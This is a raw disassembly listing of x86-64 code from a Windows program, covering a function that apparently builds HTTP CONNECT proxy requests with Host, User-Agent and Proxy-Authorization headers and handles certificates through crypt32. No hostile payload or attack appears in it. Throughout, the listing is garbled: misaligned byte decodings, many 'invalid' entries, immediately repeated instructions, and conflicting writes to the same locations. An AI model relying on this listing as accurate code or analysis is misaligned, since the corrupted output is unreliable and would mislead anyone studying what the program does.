adc dword [rsi + 0x200], eax
movups xmmword [rsi + 0x210], xmm1
movups xmmword [rsi + 0x220], xmm2
mov ss, word [rax]
add al, byte [rax]
add byte [rdi], cl
adc dword [rsi + 0x220], edx
movups xmmword [rsi + 0x230], xmm3
adc dword [rsi + 0x230], ebx
movups xmm0, xmmword [rsi + 0xc0]
adc byte [rsi + 0xc0], al
add byte [rax], al
movups xmmword [rsi + 0x240], xmm0
xchg byte [rax + 2], al
add byte [rax], al
lea rcx, [rsi + 0x208]
lea rax, [rsi + 0x228]
lea eax, [rsi + 0x228]
lea eax, [rsi + 0x228]
cmp qword [rsi + 0x200], 0
lea r14, [rsp + 0x1098]
je 0x1400aa94b
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
adc byte [rcx + 0x10], cl
adc byte [rcx + 0x10], cl
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
add eax, 0x100f0000
add byte [rdi], cl
adc byte [rax + 0x10], cl
add eax, 0x100f0000
add byte [rdi], cl
adc byte [rax + 0x10], cl
movaps xmmword [rsp + 0x4b0], xmm0
sub dword [rsp + 0x4b0], eax
movaps xmmword [rsp + 0x4c0], xmm1
sub dword [rsp + 0x4c0], ecx
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x4d0], rax
test byte [rax + rdx*8], ah
add al, 0
add byte [rax - 0x73], cl
lea edx, [0x140143c60]
test byte [rax + rdx*8], ah
add al, 0
add byte [rax - 0x73], cl
lea edx, [0x140143c60]
lea edx, [0x140143c60]
or dword [rax], eax
lea rcx, [rsp + 0x1040]
lea r8, [rsp + 0x500]
add byte [rax], al
and al, 0x40
adc byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0
add eax, 0x3ce80000
add byte [rax], al
invalid
invalid
add byte [rax], al
add al, ch
cmp al, 0x38
cmp byte [rax], al
invalid
call fcn.1400adfb0
cmp byte [rax], al
add byte [rax - 0x73], cl
lea rax, [rsp + 0x4b0]
jmp 0x1400aa9a9
add al, byte [rax]
invalid
test byte [rax + rsi*4], ah
add al, 0
add cl, ch
sub byte [rdx], al
add al, byte [rax]
invalid
lea rbp, [rsi + 0x614]
movzx eax, byte [rsi + 0x614]
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x86
adc al, 6
add byte [rax], al
add byte [rbp + rcx*4 - 0x4a], cl
lea r14, [rsi + 0x2d8]
mov dh, 0xd8
add al, byte [rax]
fadd dword [rdx]
add byte [rax], al
invalid
add byte [rax - 0x73], cl
or eax, 0xce24b
lea rcx, [0x1401789e8]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
invalid
loopne 0x1400aa7b6
movzx edi, word [rsi + 0x610]
mov bh, 0xbe
adc byte [rsi], al
add byte [rax], al
jmp 0x1400aafd1
mov rdx, qword [rsi + 0x2d8]
mov edx, dword [rsi + 0x2d8]
add al, byte [rax]
add byte [rbx + rcx*4 - 0x72], cl
loopne 0x1400aa7c0
mov r9, qword [rsi + 0x2e0]
add byte [rax], al
lea rcx, [rsp + 0x1040]
mov r8, rbx
call qword [r9 + 0x18]
push rcx
sbb byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x40
adc byte [rax], al
add byte [rax], al
adc byte [rax], al
add byte [rcx - 0x77], cl
fadd dword [rcx - 1]
push rcx
sbb byte [rax - 0x75], cl
lodsb al, byte [rsi]
and al, 0x40
adc byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
cmp rbp, 4
jne 0x1400aa849
std
add al, 0x75
insb byte [rdi], dx
mov byte [r13 + 0x11], 3
mov al, 3
add ebp, ecx
xchg byte [rax + rax], ah
add byte [rax], al
add ebp, ecx
xchg byte [rax + rax], ah
add byte [rax], al
lea r12, [rsi + 0x9b8]
invalid
add byte [rax], al
lea r12, [rsi + 0x9b8]
movzx eax, byte [rsi + 0x9b8]
or dword [rax], eax
add byte [rdi], cl
mov dh, 0x86
mov eax, 0x48000009
lea rdx, [rsi + 0x2d8]
lea rdx, [rsi + 0x2d8]
add byte [rbp + 0x31840fc0], al
test eax, eax
je 0x1400aa937
test byte [rcx], dh
add dword [rax], eax
invalid
ror byte [rdi], 0x84
xor dword [rcx], eax
add byte [rax], al
test byte [rcx], dh
add dword [rax], eax
add byte [rbx - 0x7af0fc08], al
retf 0xe
invalid
cmp eax, 3
jne case.default.0x1400aa83b
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb0], rdx
mov al, 0
add byte [rax], al
lea rdx, [rsi + 0x788]
xchg esi, eax
mov byte [rdi], al
add byte [rax], al
movzx eax, byte [rsi + 0x788]
lea rcx, [0x1401789d4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rsp + 0xa8], rdx
jmp rax
lea rcx, [0x14013e510]
call fcn.140108b60
invalid
invalid
add eax, 0xbc8b4c00
and al, 0x48
adc byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x50
adc byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x58
pop rax
mov r15, qword [rsp + 0x1048]
mov r12, qword [rsp + 0x1050]
lea rdx, [rsp + 0x1058]
pop rax
adc byte [rax], al
invalid
pop rax
adc byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x1c28]
mov r8d, 0x110
lea rcx, [rsp + 0x1c28]
mov r8d, 0x110
call fcn.140106530
mov r14, qword [rsi + 0x2d8]
mov rdi, qword [rsi + 0x2e0]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
invalid
je 0x1400aa8ab
add byte [rbp + rbx + 0x48], dh
cmp dword [rdi + 0x10], 0x11
cmp qword [rdi + 0x10], 0x11
adc byte [rcx], dl
jb 0x1400aa899
mov r14, qword [r14 - 8]
jbe 0x1400aa891
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov ch, 0x8a
invalid
invalid
add byte [rcx], dh
ror byte [rbp - 0x77], cl
invalid
mov ch, 0x8a
invalid
mov dil, 2
cmp ebp, 3
je 0x1400acb38
add byte [rcx + rcx*4 + 0x6c], cl
and al, 0x28
invalid
mov qword [rsp + 0x28], r13
sub byte [rax - 0x73], cl
mov word [rax + rbx*2], fs
lea rcx, [rsp + 0x1058]
lea rdx, [rsp + 0x1c28]
mov r8d, 0x110
adc byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x28
sbb al, 0
add byte [rcx - 0x48], al
adc byte [rcx], al
add byte [rax], al
call fcn.140106530
mov qword [rsp + 0x1040], rbp
mov qword [rsp + 0x1048], r15
mov qword [rsp + 0x1050], r12
mov r13, qword [rsi + 0x280]
scasb al, byte [rdi]
add byte [rdx], 0
add byte [rbp - 0x7b], cl
in eax, dx
scasb al, byte [rdi]
add byte [rdx], 0
add byte [rbp - 0x7b], cl
in eax, dx
je 0x1400aad21
mov r15, qword [rsi + 0x288]
mov esi, 0x288
test r15, r15
je 0x1400aaea2
js 0x1400acf31
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
mov edx, edi
mov edx, edi
call fcn.1400df910
test rax, rax
je 0x1400ab6f1
ret 0xd
invalid
ret 0xd
mov r12, rax
jmp 0x1400aaea8
movdqu xmm6, xmmword [rsi + 0x400]
mov rdi, qword [rsi + 0x410]
mov esi, 0x410
add cl, ch
cmp al, 0x13
add byte [rax], al
jmp 0x1400abc87
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
adc byte [rdi], cl
sub dword [rsp + 0x4f0], ecx
invalid
adc byte [rdi], cl
sub dword [rsp + 0x4f0], ecx
invalid
add byte [rdi], cl
sub dword [rsp + 0x4e0], eax
movaps xmmword [rsp + 0x4e0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x480], xmm0
movaps xmmword [rsp + 0x490], xmm1
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x4a0], rax
lea rdx, [0x140143640]
lea rcx, [rsp + 0x1040]
adc byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xe0
add al, 0
add al, ch
invalid
add byte ss:[rax], al
adc byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0xe0
add al, 0
add al, ch
invalid
lea rax, [rsp + 0x480]
mov rcx, qword [rax + 0x20]
mov qword [r14 + 0x20], rcx
and byte [rdi], r9b
adc byte [rax], al
and byte [rdi], r9b
adc byte [rax], al
movups xmm1, xmmword [rax + 0x10]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov rax, qword [rsp + 0x1090]
mov qword [rsp + 0x240], rax
movups xmm0, xmmword [rsp + 0x1080]
invalid
add byte [rdi], cl
sub dword [rsp + 0x230], eax
xor byte [rdx], al
add byte [rax], al
invalid
movaps xmmword [rsp + 0x230], xmm0
add byte [rdi], cl
adc byte [rsp + 0x1040], al
movups xmm0, xmmword [rsp + 0x1040]
movups xmm1, xmmword [rsp + 0x1050]
movups xmm2, xmmword [rsp + 0x1060]
adc byte [rax], al
add byte [rdi], cl
movups xmm2, xmmword [rsp + 0x1060]
movups xmm3, xmmword [rsp + 0x1070]
add byte [rax], al
movaps xmmword [rsp + 0x220], xmm3
movaps xmmword [rsp + 0x210], xmm2
movaps xmmword [rsp + 0x200], xmm1
movaps xmmword [rsp + 0x1f0], xmm0
mov rax, qword [r14 + 0x20]
mov qword [rsp + 0x1e0], rax
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movaps xmmword [rsp + 0x1d0], xmm1
movaps xmmword [rsp + 0x1c0], xmm0
add dh, al
xchg ah, dl
add al, byte [rax]
add byte [rcx], al
add dh, al
xchg ah, dl
add al, byte [rax]
add byte [rcx], al
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movups xmmword [rsi + 0x250], xmm0
movups xmmword [rsi + 0x260], xmm1
mov rax, qword [rsp + 0x1e0]
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
xchg byte [rax + 2], dh
add byte [rax], al
test byte [rax + riz*8], ah
add dword [rax], eax
add byte [rax - 0x77], cl
xchg byte [rax + 2], dh
add byte [rax], al
mov qword [rsi + 0x278], rdi
movzx eax, byte [rsi + 0x1a8]
test al, 1
jne 0x1400aac8b
mov byte [rsi + 0x2d5], 0
add al, byte [rax]
add byte [rax], al
movups xmm0, xmmword [rdi + 0x70]
movaps xmmword [rsp + 0xe60], xmm0
test byte [rax + riz*2], ah
invalid
add byte [rax], al
movups xmm0, xmmword [rdi + 0x60]
movaps xmmword [rsp + 0xe50], xmm0
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rdi + 0x50]
movaps xmmword [rsp + 0xe40], xmm0
movups xmm0, xmmword [rdi + 0x40]
movaps xmmword [rsp + 0xe30], xmm0
movaps xmmword [rsp + 0xe30], xmm0
xor byte [rsi], cl
add byte [rax], al
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xe20], xmm3
add byte [rdi], cl
sub dword [rsp + 0xe10], edx
invalid
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rsp + 0xe10], edx
invalid
add byte [rax], al
invalid
movaps xmmword [rsp + 0xe00], xmm1
movaps xmmword [rsp + 0xdf0], xmm0
or eax, 0x280f0000
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x200], cl
and al, 0
invalid
or eax, 0x280f0000
test byte [rax + rsi*8], ah
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0x200], cl
movaps xmm2, xmmword [rsp + 0x210]
movaps xmm3, xmmword [rsp + 0x220]
add byte [rdi], cl
sub byte [rsp + 0x220], bl
movaps xmmword [rsp + 0xe70], xmm0
movaps xmmword [rsp + 0xe80], xmm1
sub dword [rsp + 0xe80], ecx
movaps xmmword [rsp + 0xe90], xmm2
movaps xmmword [rsp + 0xea0], xmm3
sub dword [rsp + 0xea0], ebx
add byte [rdi], cl
sub byte [rsp + 0x230], al
and al, 0x30
add al, byte [rax]
invalid
movaps xmm0, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0xeb0], xmm0
add byte [rax], al
mov rax, qword [rsp + 0x240]
add byte [rax], al
mov qword [rsp + 0xec0], rax
lea rcx, [rsi + 0x2d8]
lea rdx, [rsp + 0xdf0]
invalid
add byte [rax - 0x73], cl
mov ds, eax
add al, byte [rax]
add byte [rax - 0x73], cl
lea rdx, [rsp + 0xdf0]
mov r8d, 0x250
call fcn.140106530
mov ecx, 0xc7660005
invalid
mov r8d, 0x250
call fcn.140106530
mov ecx, 0xc7660005
xchg byte [rax], ch
sub byte [0x1400bab79], al
mov ecx, 0xc7660005
xchg byte [rax], ch
sub byte [0x1400bab79], al
sub byte [0x1400bab79], al
add dword [rax], eax
lea r14, [rsi + 0x2d8]
lea rcx, [rsp + 0x1040]
and al, 0x40
adc byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
and al, 0x40
adc byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov r8, rbx
call fcn.1400ae8a0
movzx edi, byte [rsp + 0x1051]
push rcx
adc byte [rax], al
add byte [rax - 0x80], al
inc dword [rbx]
fsubr st(0)
or eax, 0xf00003d
mov dh, 0xbc
and al, 0x51
push rcx
push rcx
adc byte [rax], al
add byte [rax - 0x80], al
inc dword [rbx]
jne 0x1400aabad
mov byte [r13 + 0x11], 3
mov al, 6
jmp 0x1400acc6f
invalid
mov r15, qword [rsp + 0x1040]
mov r12, qword [rsp + 0x1048]
movzx ebp, byte [rsp + 0x1050]
mov eax, dword [rsp + 0x1052]
adc byte [rax], al
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x48
adc byte [rax], al
add byte [rdi], cl
mov dh, 0xac
and al, 0x50
adc byte [rax], al
add byte [rbx + 0x10522484], cl
add byte [rax], al
mov dword [rsp + 0x38], eax
movzx eax, word [rsp + 0x1056]
mov word [rsp + 0x3c], ax
mov dword [rsp + 0x3c], eax
mov dword [rsp + 0x3c], eax
mov rcx, r14
call fcn.1400ad510
cmp byte [rsi + 0x270], 2
je 0x1400aac0d
lea rcx, [rsi + 0x268]
mov rax, qword [rsi + 0x250]
mov rdx, qword [rsi + 0x258]
mov r8, qword [rsi + 0x260]
add bh, bh
push rax
invalid
mov byte [rsi + 0x2d4], 0
xchg ah, dl
add al, byte [rax]
add byte [rax], al
cmp byte [rsi + 0x1a8], 2
jb 0x1400aac48
mov rbx, qword [rsi + 0x1b0]
lea rcx, [rbx + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
adc byte [rax - 0x75], cl
or eax, 0xd7623
invalid
invalid
adc byte [rax - 0x75], cl
or eax, 0xd7623
invalid
invalid
or eax, 0x49d23100
mov eax, ebx
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsi + 0x1d0]
mov rax, qword [rsi + 0x1b8]
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rbx + rcx*4 - 0x7a], cl
enter 1, 0
call qword [rax + 0x10]
lea rcx, [rsi + 0x1f0]
mov rax, qword [rsi + 0x1d8]
mov rdx, qword [rsi + 0x1e0]
xchg esi, eax
loopne 0x1400aac7b
add byte [rax], al
mov r8, qword [rsi + 0x1e8]
call qword [rax + 0x10]
jmp 0x1400acc44
invalid
invalid
add byte [rax], al
mov ecx, 0x8000001f
mov esi, 0x1a9
add byte [rdi], cl
test al, bh
std
invalid
cmp byte [rsi + 0x1a9], 0
je 0x1400aaa90
invalid
ror byte [rdi], cl
test byte [0x1880aacaa], al
add byte [rax - 0x75], cl
mov es, eax
add dword [rax], eax
add al, ch
in al, dx
jl 0x1400aacab
dec dword [rbx + rcx*4 - 0x7a]
enter 1, 0
add byte [rax - 0x75], cl
mov es, eax
add dword [rax], eax
rol byte [rcx], 0
add al, ch
in al, dx
jl 0x1400aacab
dec dword [rbx + rcx*4 - 0x7a]
xchg al, cl
add dword [rax], eax
add byte [rax - 0x77], cl
xchg byte [rax + 0x48000002], al
add byte [rax - 0x77], cl
xchg esi, eax
mov byte [rdx], al
add byte [rax], al
enter 1, 0
mov qword [rsi + 0x280], rax
mov qword [rsi + 0x288], rdx
add byte [rax - 0x77], cl
xchg esi, eax
mov byte [rdx], al
add byte [rax], al
test r8, r8
je 0x1400aadb8
invalid
add byte [rax - 0x75], cl
xchg esi, eax
rol byte [rcx], 0
add byte [rax - 0x73], cl
mov word [rax + rax*2], fs
adc byte [rax], al
mov rdx, qword [rsi + 0x1c0]
lea rcx, [rsp + 0x1040]
call fcn.140032440
dec dword [rax - 0x75]
test byte [rax + rax*2], ah
adc byte [rax], al
invalid
adc byte [rax], al
add al, ch
pop rdx
ja 0x1400aacdd
dec dword [rax - 0x75]
test byte [rax + rax*2], ah
adc byte [rax], al
add byte [rdi], cl
mov bh, 0x8c
and al, 0x50
adc byte [rax], al
add cl, ch
mov edi, 0x48000000
mov rcx, qword [rsi + 0x620]
mov eax, dword [rsp + 0x1040]
movzx ecx, word [rsp + 0x1050]
jmp 0x1400aadba
mov rcx, qword [rsi + 0x620]
add byte [rax - 0x75], cl
xchg esi, eax
sub byte [rsi], al
add byte [rax], al
mov rdx, qword [rsi + 0x628]
mov rax, qword [rsi + 0x630]
jmp 0x1400ab6fe
mov r9, qword [rsi + 0x628]
jmp 0x1400ab4a0
movzx eax, byte [0x140182310]
mov edx, 0xe
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400acf22
xor eax, eax
test rax, rax
mov eax, 0x1bb
cmovne eax, ecx
mov word [rsi + 0x2d0], ax
mov rdi, qword [rsi + 0x148]
lock inc qword [rdi]
jle case.0x1400aa5f0.2
mov qword [rsp + 0x28], r13
mov r15, qword [rsi + 0x150]
mov r12, qword [rsi + 0x158]
lock inc qword [r15]
jle case.0x1400aa5f0.2
mov r13, qword [rsi + 0x278]
cmp qword [r13], 0
je 0x1400aae1c
mov rcx, qword [r13 + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
mov ebp, 1
jmp 0x1400aae1e
xor ebp, ebp
mov rcx, qword [r13 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx edx, word [r13 + 0x1c]
lea rcx, [rsi + 0x290]
mov r8d, dword [r13 + 0x18]
mov byte [rsi + 0x2c8], 0
mov qword [rsi + 0x2b0], rdi
mov qword [rsi + 0x2b8], r15
mov qword [rsi + 0x2c0], r12
mov qword [rsi + 0x290], rbp
mov qword [rsi + 0x298], r14
mov qword [rsi + 0x2a0], rax
mov dword [rsi + 0x2a8], r8d
mov word [rsi + 0x2ac], dx
lea rdx, [rsp + 0x1f0]
call fcn.1400ae3c0
mov r9, rdx
mov rdx, rax
mov qword [rsi + 0x2d8], rax
mov qword [rsi + 0x2e0], r9
mov r13, qword [rsp + 0x28]
jmp 0x1400aa7c0
mov r12d, 1
lea r14, [rsi + 0x2d8]
mov rcx, r12
mov rdx, r13
mov r8, r15
call fcn.140106530
movzx edi, word [rsi + 0x2d0]
mov bpl, 2
cmp byte [rsi + 0x190], 2
je 0x1400aaefd
lea rdx, [rsi + 0x188]
mov rax, qword [rsi + 0x170]
mov r8, qword [rsi + 0x178]
mov r9, qword [rsi + 0x180]
lea rcx, [rsp + 0x520]
call qword [rax]
movzx ebp, byte [rsi + 0x190]
mov byte [rsi + 0x2d4], 0
lea r13, [rsp + 0x750]
lea rdx, [rsp + 0x1040]
mov r8d, 0x128
mov rcx, r13
call fcn.140106530
movups xmm0, xmmword [rsp + 0x520]
movups xmm1, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x980], xmm0
movaps xmmword [rsp + 0x990], xmm1
mov r8d, 0x128
mov rcx, r14
mov rdx, r13
call fcn.140106530
mov qword [rsi + 0x400], r15
mov qword [rsi + 0x408], r12
mov qword [rsi + 0x410], r15
movaps xmm0, xmmword [rsp + 0x980]
movaps xmm1, xmmword [rsp + 0x990]
movups xmmword [rsi + 0x418], xmm0
movups xmmword [rsi + 0x428], xmm1
mov byte [rsi + 0x438], bpl
movups xmm0, xmmword [rsi + 0x250]
movups xmm1, xmmword [rsi + 0x260]
movups xmmword [rsi + 0x440], xmm0
movups xmmword [rsi + 0x450], xmm1
mov rax, qword [rsi + 0x270]
mov qword [rsi + 0x460], rax
mov word [rsi + 0x610], di
lea rbp, [rsi + 0x614]
mov byte [rsi + 0x614], 0
mov r13, qword [rsp + 0x28]
mov byte [rsi + 0x617], 1
lea r15, [rsi + 0x468]
mov r8d, 0x128
mov rcx, r15
mov rdx, r14
call fcn.140106530
lea rax, [rsi + 0x590]
movups xmm0, xmmword [rsi + 0x400]
movups xmmword [rsi + 0x590], xmm0
mov rcx, qword [rsi + 0x410]
mov qword [rsi + 0x5a0], rcx
lea rcx, [rsi + 0x612]
mov word [rsi + 0x612], di
movups xmm0, xmmword [rsi + 0x418]
movups xmmword [rsi + 0x5a8], xmm0
movups xmm0, xmmword [rsi + 0x428]
movups xmmword [rsi + 0x5b8], xmm0
mov rdx, qword [rsi + 0x438]
mov qword [rsi + 0x5c8], rdx
mov word [rsi + 0x615], 0x101
movups xmm0, xmmword [rsi + 0x440]
add al, 0
add byte [rdi], cl
adc dword [rsi + 0x5d0], eax
add al, 0
add byte [rdi], cl
adc dword [rsi + 0x5d0], eax
movups xmm0, xmmword [rsi + 0x450]
movups xmmword [rsi + 0x5e0], xmm0
mov rdx, qword [rsi + 0x460]
mov qword [rsi + 0x5f0], rdx
mov qword [rsp + 0x1708], rax
lea rax, [0x140006d10]
mov qword [rsp + 0x1710], rax
mov qword [rsp + 0x1718], rcx
lea rax, [0x1400161b0]
mov qword [rsp + 0x1720], rax
mov qword [rsp + 0x260], 2
mov qword [rsp + 0x270], 2
mov qword [rsp + 0x280], 0
mov qword [rsp + 0x288], 0x20
mov byte [rsp + 0x290], 3
mov qword [rsp + 0x298], 2
mov qword [rsp + 0x2a8], 2
mov qword [rsp + 0x2b8], 1
mov qword [rsp + 0x2c0], 0x20
mov byte [rsp + 0x2c8], 3
mov qword [rsp + 0x2d0], 2
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x2e0], 2
mov qword [rsp + 0x2f0], 0
and al, 0xf0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add al, byte [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rbx], al
and al, 0xf0
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*8], ah
add al, byte [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rbx], al
mov qword [rsp + 0x308], 2
mov qword [rsp + 0x318], 2
mov dword [rsp + 0x318], 2
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x318], 2
invalid
invalid
test byte [rax + rbp], ah
mov dword [rsp + 0x318], 2
mov qword [rsp + 0x328], 1
mov qword [rsp + 0x330], 0x20
mov byte [rsp + 0x338], 3
add byte [rax], al
invalid
add eax, dword [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi], ah
add eax, dword [rax]
add byte [rax], ah
add byte [rax], al
add dh, al
test byte [rax + rdi], ah
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add ecx, dword [rax - 0x73]
add eax, 0x98c55
lea rax, str.CONNECT__HTTP_1.1_r_nHost:
mov qword [rsp + 0xab0], rax
mov qword [rsp + 0xab8], 5
lea rax, [rsp + 0x260]
mov qword [rsp + 0xad0], rax
mov qword [rsp + 0xad8], 4
lea rax, [rsp + 0x1708]
mov qword [rsp + 0xac0], rax
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xac8], 2
lea rcx, [rsp + 0x15e0]
lea rdx, [rsp + 0xab0]
xchg esp, eax
and al, 0xb0
or al, byte [rax]
add al, ch
jl 0x1400ab24f
idiv bh
xchg esp, eax
and al, 0xb0
or al, byte [rax]
add al, ch
jl 0x1400ab24f
idiv bh
mov rax, qword [rsp + 0x15f0]
mov qword [rsi + 0x608], rax
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x15e0]
movups xmmword [rsi + 0x5f8], xmm0
cmp byte [rsi + 0x5c8], 2
je 0x1400ab32f
mov rdi, r14
lea rax, [rsi + 0x5a8]
mov byte [rsi + 0x616], 0
mov rcx, qword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov ecx, dword [rax + 0x20]
mov qword [rsp + 0x280], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x270], xmm1
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsi + 0x5f8]
mov r12, qword [rsi + 0x608]
sub rax, r12
mov r14, r13
cmp rax, 0xb
jbe 0x1400ab5b3
invalid
mov rax, qword [rsi + 0x600]
movabs rcx, 0x6567412d72657355
jb 0x1400ab2ac
mov qword gs:[eax + r12d], rcx
jb 0x1400ab2ac
mov qword gs:[eax + r12d], rcx
mov qword gs:[rax + r12], rcx
or al, 0x20
mov dword [rax + r12 + 8], 0x203a746e
add r12, 0xc
invalid
or al, 0x4c
mov dword [rsi + 0x608], esp
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x70
add al, byte [rax]
add byte [rax - 0x75], cl
xchg al, bh
add eax, 0x294c0000
loopne 0x1400ab301
cmp eax, ebp
invalid
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x68
add al, byte [rax]
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x70
add al, byte [rax]
add byte [rax - 0x75], cl
xchg al, bh
add eax, 0x294c0000
loopne 0x1400ab301
cmp eax, ebp
jb case.0x14002a2ab.1792
mov rcx, qword [rsi + 0x600]
add rcx, r12
mov r8, r13
call fcn.140106530
add r12, r13
in al, dx
invalid
in al, dx
mov qword [rsi + 0x608], r12
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, 1
jbe 0x1400ab5fc
lsl eax, word [rax]
invalid
lsl eax, word [rax]
add byte [rbp - 0x77], cl
cmc
mov r13, r14
mov rax, qword [rsi + 0x600]
mov word [rax + r12], 0xa0d
add r12, 2
mov qword [rsi + 0x608], r12
add cl, byte [rcx + rcx*4 - 0x5a]
or byte [rsi], al
add byte [rax], al
lea rcx, [rsp + 0x278]
mov rax, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
invalid
call qword [rax + 0x10]
mov r14, rdi
mov esi, edi
mov esi, edi
cmp byte [rsi + 0x5f0], 2
je 0x1400ab450
mov rdi, r14
lea rax, [rsi + 0x5d0]
xchg al, dl
add eax, 0x86c60000
adc eax, 6
xchg al, dl
add eax, 0x86c60000
adc eax, 6
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x280], rcx
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rsi + 0x5f8]
mov r12, qword [rsi + 0x608]
sub rax, r12
mov r14, r13
cmp rax, 0x14
jbe case.0x14009fa62.45
mov rax, qword [rsi + 0x600]
movups xmm0, xmmword [str.Proxy_Authorization:]
mov cl, byte [rcx]
add byte [rdx + 0xf], al
adc dword [rax + riz], eax
mov cl, byte [rcx]
add byte [rdx + 0xf], al
adc dword [rax + riz], eax
movabs rcx, 0x203a6e6f6974617a
mov qword [rax + r12 + 0xd], rcx
or eax, 0x15c48349
or eax, 0x15c48349
add esp, 0x15
mov qword [rsi + 0x608], r12
mov rdx, qword [rsp + 0x268]
mov r13, qword [rsp + 0x270]
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, r13
jb 0x1400ab63e
mov rcx, qword [rsi + 0x600]
add rcx, r12
mov r8, r13
call fcn.140106530
add r12, r13
mov qword [rsi + 0x608], r12
mov rax, qword [rsi + 0x5f8]
sub rax, r12
cmp rax, 1
jbe 0x1400ab666
mov r13, r14
mov rax, qword [rsi + 0x600]
mov word [rax + r12], 0xa0d
add r12, 2
mov qword [rsi + 0x608], r12
lea rcx, [rsp + 0x278]
mov rax, qword [rsp + 0x260]
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
call qword [rax + 0x10]
mov r14, rdi
mov rax, qword [rsi + 0x5f8]
mov r9, qword [rsi + 0x608]
sub rax, r9
cmp rax, 1
jbe 0x1400ab592
mov rax, qword [rsi + 0x600]
mov word [rax + r9], 0xa0d
add r9, 2
mov qword [rsi + 0x608], r9
mov dword [rsi + 0x608], ecx
mov rax, qword [rsi + 0x600]
mov qword [rsi + 0x618], r15
mov esi, 0x618
mov esi, 0x618
invalid
mov qword [rsi + 0x620], rax
and byte [rsi], al
add byte [rax], al
mov qword [rsi + 0x628], r9
movabs rdi, 0x1700000003
nop word [rax + rax]
add byte [rax], r8b
add byte [rdi], dl
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
add byte [rax], r8b
test r9, r9
je 0x1400ab552
mov rcx, qword [rsi + 0x618]
